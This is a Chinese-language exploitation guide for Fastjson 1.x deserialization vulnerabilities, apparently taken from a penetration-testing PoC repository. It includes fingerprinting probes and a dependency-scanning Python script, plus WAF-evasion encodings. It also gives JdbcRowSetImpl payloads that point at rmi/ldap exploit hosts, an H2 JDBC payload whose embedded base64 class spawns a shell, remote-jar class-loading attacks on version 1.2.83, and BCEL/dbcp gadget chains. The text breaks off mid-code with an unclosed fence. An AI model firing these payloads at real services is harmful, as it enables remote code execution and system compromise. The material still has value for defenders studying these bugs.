Files
Penetration_Testing_POC/books/Fastjson1全版本漏洞利用总结.md

104 KiB
Raw Permalink Blame History

Fastjson1全版本漏洞利用总结

来源:https://xz.aliyun.com/news/92638

前言

网上很多 Fastjson 文章由于时间原因,对利用链的整理都不是很齐全,所以笔者自己做个整理,方便复习和利用。

这里主要做整理,并简要分析几个关键版本的绕过原理,力求让读者能够在简单理解的基础上,快速对相应版本进行利用。

文章涉及的部分代码见:https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson

本文主要的目标是:

1、梳理 Fastjson1 反序列化流程,以及 parse / parseObject 的差异 2、整理探测手段(版本、依赖、期望类)与常见 WAF 绕过 3、按版本整理关键绕过与利用链(47 / 68 / 80 / 83 等),并简要分析原理 4、补充「写文件 → RCE」的落地思路,以及配套脚本

让我们开始吧。

反序列化流程

先抛一个实际利用里经常碰到的问题:如果某个字段既出现在 public 有参构造里,又有 setter,那 Fastjson 到底走哪条路?

存在无参构造

● Fastjson 首先调用无参构造函数(new ClassName())实例化对象
●解析 JSON 中的键值对

● 通过反射调用该字段对应的 Setter(setFieldName(...))把值注入进去
●此时有参构造会被忽略

不存在无参构造

●Fastjson 检测到没有无参构造后,会尝试匹配参数最多的有参构造

●从 JSON 里抽出对应构造参数的值

● 调用有参构造函数(new ClassName(arg1, arg2...))实例化对象
●如果 JSON 里还有不在构造参数列表中的字段,且这些字段有 Setter,则会在实例化后再调用那些 Setter

使用了@JSONCreator 注解

如果在构造函数(或静态工厂方法)上标了 @JSONCreator,Fastjson 会强制走该构造,不管有没有无参构造或 Setter,值都通过构造注入。安全研究场景里比较少见。

所以可以利用的入口主要是 setter,或者有参构造。有参构造是从 JSON 内层执行到外层的。

KCON2022 里也有一张比较直观的图:

parse和parseObject

更细的源码分析见:Fastjson源码分析 | 1diot9's Blog

这里先记结论,后面写 payload 时不容易绕晕:

parse 和多参 parseObject (存在期望类) 行为接近,都会调用 setter,以及符合条件的 getter,如下图:

● 单参 parseObject 会额外触发所有 public getter
parse 反序列化且不指定类型时,可以通过 $ref 触发 getter
● 默认只能触发 public 方法,除非开启了 Feature.SupportNonPublicField

写文件如何 RCE

Fastjson 高版本利用里,写文件链出现得很多。写完文件之后怎么落到 RCE,可以参考:

https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

大致可以概括成下面几类:

1、计划任务 / sshkey,通常需要 root 2、写 jsp 等 webshell,不适用于纯 jar 部署 3、写 jar 覆盖 jre/lib,最经典的是覆盖 charsets.jar;没法写二进制时,可以考虑 ascii jar:https://github.com/c0ny1/ascii-jar 4、写 jre classes,需要知道并创建目录,还要有入口点 5、写 classes + SPI,同样需要知道目录并能创建目录 6、写 tomcat-docbase class,需要知道目录,且依赖特定 ClassLoader(基本限制在 Fastjson 利用场景)

其中方法 3~5 基本只在 JDK8 下好用。

探测

Fastjson 判断

1、根据报错信息判断

故意破坏 JSON,看报错回显:

{"age":20,"name":"Bob"

也可以用 @type 探一下 AutoType 是否开启:

{"@type":"whatever"}

2、根据解析变化判断

{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}

{"ext":"blue","name":{"$ref":"$.ext"}}

3、DNS 请求

不出网时,也可以根据响应时间是否变长来间接判断:

{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}

4、区别 Jackson

// 多余的类成员: 添加一个键值 testjackson会报错,fastjson不会
{"age":20,"name":"Bob","test":1}

// jackson 不支持单引号作为界定符
{"age":20,'name':'Bob'}

// jackson 可以使用注释符/*#fastjson 会报错,fastjson的注释符是 //
{
    "age":20,
    "name":'Bob'
}/*#aaaa

// jackson 会丢失精度
{
    "age":20.111111111111111111111111111,
    "name":'Bob'
}

5、区别 Gson

// 浮点类型精度丢失
{a:1.111111111111111111111111111}

// 注释符
#\r\n{a:1}

6、区别 org.json

// 特殊字符
{a:'\r'}

版本探测

参考:https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

1、AutoType 探测

{"xxx":{"@type":"java.lang.Class","val":""}}


{"xxx":{"@type":"Random.String"}}

开启 AutoType 时:payload1 报错,payload2 不报错

autoType is not support. java.lang.Class

未开启 AutoType 时:payload1 不报错,payload2 报错

autoType is not support. Random.String

2、AutoCloseable 精确探测

{
  "@type": "java.lang.AutoCloseable"

注意:Fastjson 1.2.76 之后,即使用这种方式,探测结果也会停在 1.2.76。

3、1.2.83 具体探测

{"xxx":{"@type":"Test.TestException"}}

只有 1.2.83 时不报错。

4、dnslog 探测大致版本

//  <=1.2.47
[
  {
    "@type": "java.lang.Class",
    "val": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "aaa.xxxx.ceye.io"
  }
}
]


//  <=1.2.68
[
  {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "bbb.n41tma.ceye.io"
  }
}
]


//  <=1.2.80 只收到第一个dns请求,1.2.83 收到两个dns请求
[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "ccc.4fhgzj.dnslog.cn"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "ddd.4fhgzj.dnslog.cn"
  }
}
}
]

5、不出网探测:根据响应是 500 还是正常判断

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}


【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}


【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
    }
}


【不报错】1.2.24 【报错】1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

依赖探测

1、Character 转换报错

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.springframework.web.bind.annotation.RequestMapping"
}}

类存在时会报 can not cast,不存在则往往是 No message available

一些相关依赖类:

org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat  //Tomcat
groovy.lang.GroovyShell  //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources  //C3P0
org.apache.ibatis.datasource.unpooled.UnpooledDataSource  //mybatis
org.h2.jdbcx.JdbcDataSource //h2
com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider  //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
jdk.nashorn.tools.Shell  //JDK8
java.net.http.HttpClient  //JDK11
com.sun.org.apache.bcel.internal.util.ClassLoader   // <= jdk8u251
org.apache.ibatis.type.Alias  //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource  //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.dbcp.BasicDataSource //commons-dbcp <= 1.4
org.apache.commons.dbcp2.BasicDataSource //commons-dbcp2 <= 2.13.0
org.apache.commons.io.ByteOrderMark       //commons-io-通用类,不确定版本
org.apache.commons.io.Java7Support        //commons-io-2.5独有
org.apache.commons.io.IOIndexedException  //commons-io-2.7独有
org.apache.commons.io.file.Counters       //commons-io-2.7-2.8独有
org.apache.commons.io.FileSystem          //commons-io-2.7独有
org.apache.commons.io.file.PathUtils      //commons-io-2.7独有
org.apache.commons.io.function.IOConsumer //commons-io-2.7独有
org.aspectj.ajde.Ajde  //aspectjtools
com.fasterxml.jackson.core.exc.InputCoercionException   //jackson
org.python.antlr.ParseException //jython
org.postgresql.jdbc.PgConnection    //postgre

配套脚本:

import requests
import os


def jar_scanner(url: str, timeout: int = 10) -> list:
    """
    扫描目标URL的fastjson依赖库

    Args:
        url: 目标URL
        timeout: 请求超时时间(秒)

    Returns:
        list: 检测到的依赖列表
    """
    base_dir = os.path.dirname(os.path.abspath(__file__))
    jar_list_path = os.path.join(base_dir, "poc", "jarList.txt")
    jar_scan_path = os.path.join(base_dir, "poc", "jarScan.json")

    # 读取jarScan.json模板(畸形JSON,直接读取文本)
    with open(jar_scan_path, "r", encoding="utf-8") as f:
        poc_template = f.read()

    # 读取jarList.txt
    with open(jar_list_path, "r", encoding="utf-8") as f:
        lines = f.readlines()

    detected_jars = []

    for line in lines:
        line = line.strip()
        if not line or "//" not in line:
            continue

        # 按 // 划分,获取类名和依赖说明
        parts = line.split("//")
        clazz = parts[0].strip()
        description = parts[1].strip() if len(parts) > 1 else ""

        # 替换POC模板中的${clazz}
        poc_data = poc_template.replace("${clazz}", clazz)

        try:
            # 发送POST请求,使用data=发送原始数据
            response = requests.post(
                url,
                data=poc_data,
                headers={"Content-Type": "application/json"},
                timeout=timeout
            )

            # 检查响应中是否包含 "can not cast to char"
            if "can not cast to char" in response.text:
                result = f"\033[92m[+] 发现依赖: {description} ({clazz})\033[0m"
                print(result)
                detected_jars.append({
                    "class": clazz,
                    "description": description,
                    "line": line.strip()
                })
            else:
                print(f"[-] 未检测到: {description} ({clazz})")

        except requests.exceptions.Timeout:
            print(f"[!] 请求超时: {clazz}")
        except requests.exceptions.RequestException as e:
            print(f"[!] 请求失败: {clazz} - {e}")
        except Exception as e:
            print(f"[!] 异常: {clazz} - {e}")

    return detected_jars


if __name__ == "__main__":
    import sys

    if len(sys.argv) < 2:
        print("Usage: python main.py <target_url>")
        print("Example: python main.py http://example.com/api")
        sys.exit(1)

    target_url = sys.argv[1]
    print(f"[*] 开始扫描目标: {target_url}")
    print("=" * 60)

    results = jar_scanner(target_url)

    print("=" * 60)
    print(f"[*] 扫描完成,共发现 {len(results)} 个依赖")

2、dnslog

{"@type":"java.net.Inet4Address",
"val":{"@type":"java.lang.String"
{"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale",
"language":{"@type":"java.lang.String"
{1:{"@type":"java.lang.Class","val":"TARGET_CLASS"}},
"country":"x.l56y7u6g.dnslog.pw"
}}
}

我本地试了好几次一直不行:

判断是否存在期望类

https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww

黑盒里经常会碰到:入口到底是 JSON.parse(json),还是 JSON.parseObject(json, Xxx.class) / Spring 参数绑定带了期望类?两者后面能用的链差很多,有必要先探一下。

像下面这种写法,反序列化时就带着期望类:

JSONObject.parseObject(payload, Test.class)

Spring 配了 Fastjson 做参数解析时,框架层也会在反序列化参数时塞进期望类。可以在原请求参数上叠一层来测:

{"@type":"com.alibaba.fastjson.support.geo.Feature"}

例如原始请求:

{"username":"admin","password":"123456"}

改成:

{
    "@type": "com.alibaba.fastjson.support.geo.Feature",
    "username": "admin",
    "password": "123456"
}

如果原参数是数组,可以写成:

[
    {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "username": "admin",
        "password": "123456"
    }
]

报错 → 该反序列化点存在期望类。

注意:com.alibaba.fastjson.support.geo.Feature 是 1.2.68 才引入的,顺便也能用来判断版本是否低于 1.2.68。

还有一个更抽象一点的写法:

{{}:{}}

结合原参数:

{
    {}: {},
    "username": "admin",
    "password": "123456"
}

若存在期望类,且期望类型不是 Map 及其子类,一般会报错。再改成嵌在字段里的形式,往往就不报错了:

{
    "test": {
        {
            {}: {}
        }: ""
    },
    "username": "admin",
    "password": "123456"
}

存在期望类时,利用上会多两道限制:

1、靠 getter 触发的 payload,大多数打不起来 2、$ref 引用基本用不了——结果会被转成期望类对象,引用只能落到期望类已有的成员上;成员多半是 String / 数字,而链子里要引用的往往是对象,类型一对不上就断了(比如 commons-io 读文件那套就很难直接用)

后文「小技巧」里的 java.util.Currency,就是针对「有期望类还想触发 getter」的一种绕法。

WAF 绕过

Unicode / hex 编码:

{"\x40\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$%7bjndi:ldap://1.1.1.1:1389/EvilObject%7d","autoCommit": true}}

多个逗号:

{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true         }

_- 绕过:

Fastjson 解析 JSON 字段 key 时,会把 _- 替换为空。1.2.36 之前二者只能单独用;1.2.36 及之后支持混合使用。

{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

字符填充:

和 SQL 注入里类似,有些 WAF 会放行体积过大的数据包:

{
    "@type":"org.example.User",
    "username":"1",
    "f":"a*20000"  //2万个a
}

Unicode 再绕过:

炒冷饭之FastJson

{"\u+040\u+074\u+079\u+070\u+065":"java.lang.AutoCloseabl\u+065"

当然还有GhostBytes

https://mp.weixin.qq.com/s/fIvmKkT6e8d8PY5OruG4mw

更完整的议题材料见:https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf

核心思路是:解析侧在把「宽字符 / 非标准 hex」还原成目标字节时过于宽松(或直接 char → byte 丢高位),WAF 按字面匹配不到 @type 这类特征,后端却能解出真正的关键字符。落到 Fastjson 上,主要是 \x / \u 两处。

1、\x 绕过

常见写法:

{"\x40type":"java.awt.Rectangle"}

解析时会建一个 int[103] 的 digits 表,只在 0-9A-Fa-f 位置填真实值,其余下标默认都是 0。于是 \x40 实际是 digits['4']*16 + digits['0'] = 0x40。既然没占位的地方本来就是 0,第二个字符根本不必是 0,任意非 hex 字符都行,比如 J_

digits['4']*16 + digits['J'] = 0x40   →  '@'
digits['4']*16 + digits['_'] = 0x40   →  '@'

应用例子:

{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true}
{"\x4Jtype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true}

WAF 看到的是 \x4_type / \x4JtypeFastjson 解出来仍是 @type

2、\u 绕过

{"\u0040type":"java.awt.Rectangle"}

跟进会发现用了 Character.digit(c, 16) 取 hex 值。它不只认 ASCII 的 0-9a-fchar 在 065535 范围内还有大量 Unicode 数字可以冒充 hex(如泰文数字、全角数字等)。最终效果和正常 \u0040 一样能解出 @,但字面特征已经被拆散,WAF 更难直接拦。

{"\u๐๐੪๐type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true}

和前面的 \u+、hex、多逗号等技巧可以叠着用。原文里还展开了 Jackson、BCEL、Tomcat 上传、URLDecoder 等同类问题,这里只记和 Fastjson WAF 绕过直接相关的两点。

期望类绕过触发getter

$ref 触发getter

https://xz.aliyun.com/news/16117

parse / parseObject 不指定类型时,可以通过 $ref 触发任意字段的 getter。

java.util.Currency 触发所有 getter

https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww

大致原理是:把 key 设成 JSONObject,但 key 又得转成字符,于是会调 JSONObject.toString。原生反序列化里也碰到过这个点,getter 就被带起来了。

java.util.Currency 是 MiscCodec 里要求这样写的(改成 currencyCode 也可以):

可以用 java-chains 直接生成:

{
    "x": {
        "@type": "java.util.Currency",
        "val": {
            "currency": {
                "xx": {
      【payload】
}
            }
        }
    }
}

// 例子
{
    "x": {
        "@type": "java.util.Currency",
        "val": {
            "currency": {
                "xx": {
    "x1": {
        "@type": "java.lang.Class",
        "val": "org.h2.jdbcx.JdbcDataSource"
    },
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "c": {
            "@type": "org.h2.jdbcx.JdbcDataSource",
            "url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"yv66vgAAADIAQAEAYG9yZy9hcGFjaGUvY29tbW9tcy9iZWFudXRpbHMvY295b3RlL3Nlci9zdGQvQnl0ZUJ1ZmZlclNlcmlhbGl6ZXIyN2Q2MDNmZDM4ZjE0YTVlOWJiYTRjYjc5Mzg2NDllZgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"
        }
    }: {}
}
            }
        }
    }
}

下面的 payload 里,有一部分是按 JSON.parse() 写的,没考虑反序列化时存在期望类。如果反序列化点带了期望类,就得再套一层 Currency,才能把 getter 触发起来。

1.2.83

最近 83 又出了新洞,先放最上面分析。

写文件 + JSONType

https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/

配合写文件漏洞,依然有可能 getshell。

83 通过 @type 加载类时有白名单,但可以通过 @JSONType 等注解绕过:

这时候配合写 tomcat-docbase,或写 jar 进类加载路径,再用 @type 触发,依然有机会 getshell。

CVE-2026-16723 jar:http / jar:file 加载

根因是:在特定运行环境下,特定 ClassLoader 能接受 jarhttp 等协议,从远程或本地加载字节码,把带 @JSONType 注解的恶意类塞进 JVM,再在 Fastjson 反序列化时完成初始化。

测试用的 poc 有三种:

{
  "@type": "jar:http:..localhost:9192.CalcJType!.CalcJType"
}

{
  "@type": "http:..localhost:9192.CalcJType"
}

{
  "@type": "jar:file:.D:.CalcJType!.CalcJType"
}

测试靶场:

https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/target

● tomcat 那个是 SpringBoot 内嵌 tomcat,没法用 jar:http
● 另一个是内嵌 undertow,可以用 jar:http
复现时必须用 jar 包形式启动,不能直接在 IDEA 里跑。类加载器不一样,会导致复现失败。

jar:http 利用

undertow

先启动 undertow 的 jar。

直接看漏洞点代码:

上图第一个断点会对传入的 typeName 做替换,把点号全部换成斜杠。所以如果我们传入的类名是 jar:http:..localhost:9192.CalcJType!.CalcJType,替换后就变成 jar:http://localhost:9192/CalcJType!/CalcJType.class

defaultClassLoader 默认为 null,于是 ParserConfig.class.getClassLoader() 拿到的类加载器就很关键,直接决定能不能加载到 jar:http 这类协议指向的字节码。

这里拿到的是 org.springframework.boot.loader.LaunchedURLClassLoader。注意,这个类只有打成 fat jar 之后才会有,所以得自己把 fat jar 也加到 IDEA 的库里才能搜到。

可以看到,这个类加载器继承自 URLClassLoader,因此能解析 jarhttp 这类协议。

跟进 getResourceAsStream

这里会请求两次远程资源。第一次在:

URL url = getResource(name);

这次不开启缓存,拿完输入流就关掉,效果相当于探活。

第二次在:

InputStream is = urlc.getInputStream();

这里再次拿输入流,并且会默认缓存:

接着回到 checkAutoType。此时会走 Fastjson 自写的 asm 机制,检查拿到的类有没有 @JSONType

类上带注解时,就会直接进入 TypeUtils.loadClass,效果接近开启了 autoTypeSupport,而且还开了类缓存,后面可以反复触发。

跟进到 loadClass

这里能不能打通,同样取决于拿到的类加载器,这里还是 LaunchedURLClassLoader。可以看到,classNamejar:http:..localhost:9192.CalcJType!.CalcJType。这个类名很怪,平时在 IDEA 里命名类根本不允许这种格式;但实际上 JVM 对类名的包容性很强,上面这种名字是允许的,只是得用脚本去改类名。

脚本在:https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/classNameModefier.py

脚本会改掉 CalcJType 的实际类名,并打成一个无扩展名的 jar,用来触发漏洞。

继续跟 loadClass,看看 LaunchedURLClassLoader 怎么处理这个奇怪类名。

先走双亲委派,一直向上到 bootstrap 尝试 loadClass。父加载器都 load 不到时,才让子加载器去 findClass,这里就是 java.net.URLClassLoader#findClass

执行 run 时,会先替换成斜杠并拼上 .class,从而指向我们托管恶意 jar 的服务,拿类文件字节码,再 defineClass。值得注意的是,最终 defineClass 里的 name 仍然是 jar:http:..localhost:9192.CalcJType!.CalcJType,但刚才 python 脚本设的类名是:

说明 defineClass 的 JNI native 代码里,会把点号换成斜杠,这也和上面 JVM 类名字符集范围的结论对得上。

至此,jar 里那个类名很怪的恶意类就成功进 JVM 了,并且被 Fastjson 缓存:

最终在这个方法里触发类初始化:

tomcat

上面是 undertow 的情况。换成 tomcat 的 jar 远程调试,看看卡在哪一步。

唯一不同的是最后的类加载器:

这里是 TomcatEmbeddedWebappClassLoader,不是 LaunchedURLClassLoader

直接在 org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader#loadFromParent 断点:

可以看到,这里传入的 loader 其实还是 LaunchedURLClassLoader,理论上能加载 name 里 jar:http 对应的资源,因为 forName 最终还是走 loader.loadClass

再跟一步:

能发现是在 forName0 这个 native 层报错了。

原因是:forName0 不允许类名里出现双斜杠,而我们的 http:// 里就有双斜杠,所以加载失败。

具体 native 调用如下(https://github.com/openjdk/jdk/blob/jdk8-b120/jdk/src/share/native/java/lang/Class.c):

Java_java_lang_Class_forName0VerifyClassnameskip_over_fieldname

undertow 在 loadClass 时走的是双亲委派,最后由 java.net.URLClassLoader#findClass 去加载,本身就支持协议加载。

不过到了 JDK11 及以上,URLClassLoader#findClass 也加载不了了——因为最终依赖 defineClass 的 native 定义类,而高版本 native 同样不允许类名出现连续斜杠。

具体调用:

Java_java_lang_ClassLoader_defineClass1JVM_DefineClassWithSourcejvm_define_class_commonSystemDictionary::resolve_from_streamKlassFactory::create_from_streamClassFileParser::ClassFileParserparse_streamparse_constant_poolverify_legal_class_nameverify_unqualified_name

https://raw.githubusercontent.com/openjdk/jdk/refs/tags/jdk-11%2B28/src/hotspot/share/classfile/classFileParser.cpp

jar:file 利用

payload

{
  "@type": "jar:file:.D:.CalcJType!.CalcJType"
}

点号转换后不会出现连续斜杠,所以 tomcat / undertow 都能打通;缺点是要结合文件上传或文件缓存。分析过程和 jar:http 一样,只是最后 LaunchedURLClassLoader / URLClassLoader 解析的协议不同。

文件缓存一般利用 /proc/self/fd/x。可以先通过 jar:http 把 jar 缓存下来(jar 里塞多个预设好的 class),再爆破 jar:file:.proc.self.fd.x!.CalcJType 去触发。

其他协议

http 利用

步骤和 jar:http 几乎一致。

先改类名:

只有 getResourceAsStream 那里不一样:

拿到的是 HTTPURLConnection,没有缓存操作,直接返回。后续 loadClass 仍然主要取决于类加载器。

file 利用

{
  "@type": "file:.D:.CalcJType"
}

IP 转换问题

URLClassLoader 加载时会把点号换成斜杠再去找资源。对 localhost 没问题,但如果写成 127.0.0.1 这种 IP,地址就会被破坏。

常见做法是进制转换,SSRF 绕过里也常用:

比如把 127.0.0.1 转成十进制 2130706433

#10进制
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

fd 利用脚本

支持 jar:http 利用和 fd 爆破,支持回显马、内存马。内存马依赖 MemShellParty,需要先把该项目的 Web 服务开起来,并在脚本里指定 API 地址。

https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723/poc_fd_cache_writefile.py

配套 docker 靶场:

https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723

1.2.47

绕过分析

@typejava.lang.Class 时,走 MiscCodec 反序列化,并通过 TypeUtils.loadClass 把类放进缓存 map。

之后在 checkAutoType 里会先从缓存 map 取,从而绕过。

修复分析

默认不缓存:

JdbcRowSetImpl

{
    "x1": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:1389/Exploit",
        "autoCommit": true
    }
}

BCEL

jdk <= 8u251

需要dbcp依赖,一种是tomcat-dbcp,一种是commons-dbcp

bcel字符生成:

    ```java
    JavaClass javaClass = Repository.lookupClass(Evil.class);
    String encode = Utility.encode(javaClass.getBytes(), true);
    String bcel = "$$BCEL$$" + encode;
  
org.apache.tomcat.dbcp.dbcp.BasicDataSource tomcat-dbcp <= 7.0.109  
  

```json
{
    "name": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
    },
    "x1": {
        "name": {
            "@type": "java.lang.Class",
            "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "x2": {
            "@type": "com.alibaba.fastjson.JSONObject",
            "x3": {
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "[bcelCode]",
                "$ref": "$.x1.x2.x3.connection"
            }
        }
    }
}

org.apache.tomcat.dbcp.dbcp2.BasicDataSource tomcat-dbcp-8.0.0-RC1 <= tomcat-dbcp <= 10.1.0-M2

{
    "name": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x1": {
        "name": {
            "@type": "java.lang.Class",
            "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "x2": {
            "@type": "com.alibaba.fastjson.JSONObject",
            "x3": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "[bcelCode]",
                "$ref": "$.x1.x2.x3.connection"
            }
        }
    }
}

org.apache.commons.dbcp.BasicDataSource commons-dbcp <= 1.4

{
    "name": {
        "@type": "java.lang.Class",
        "val": "org.apache.commons.dbcp.BasicDataSource"
    },
    "x1": {
        "name": {
            "@type": "java.lang.Class",
            "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "x2": {
            "@type": "com.alibaba.fastjson.JSONObject",
            "x3": {
                "@type": "org.apache.commons.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "[bcelCode]",
                "$ref": "$.x1.x2.x3.connection"
            }
        }
    }
}

org.apache.commons.dbcp2.BasicDataSource commons-dbcp2 <= 2.13.0

{
    "name": {
        "@type": "java.lang.Class",
        "val": "org.apache.commons.dbcp2.BasicDataSource"
    },
    "x1": {
        "name": {
            "@type": "java.lang.Class",
            "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "x2": {
            "@type": "com.alibaba.fastjson.JSONObject",
            "x3": {
                "@type": "org.apache.commons.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "[bcelCode]",
                "$ref": "$.x1.x2.x3.connection"
            }
        }
    }
}

C3P0

c3p0字符转换:

    ```java
    byte[] bytes = Files.readAllBytes(Paths.get("D:/1tmp/cc5.bin"));
    String hex = toHexAscii(bytes);
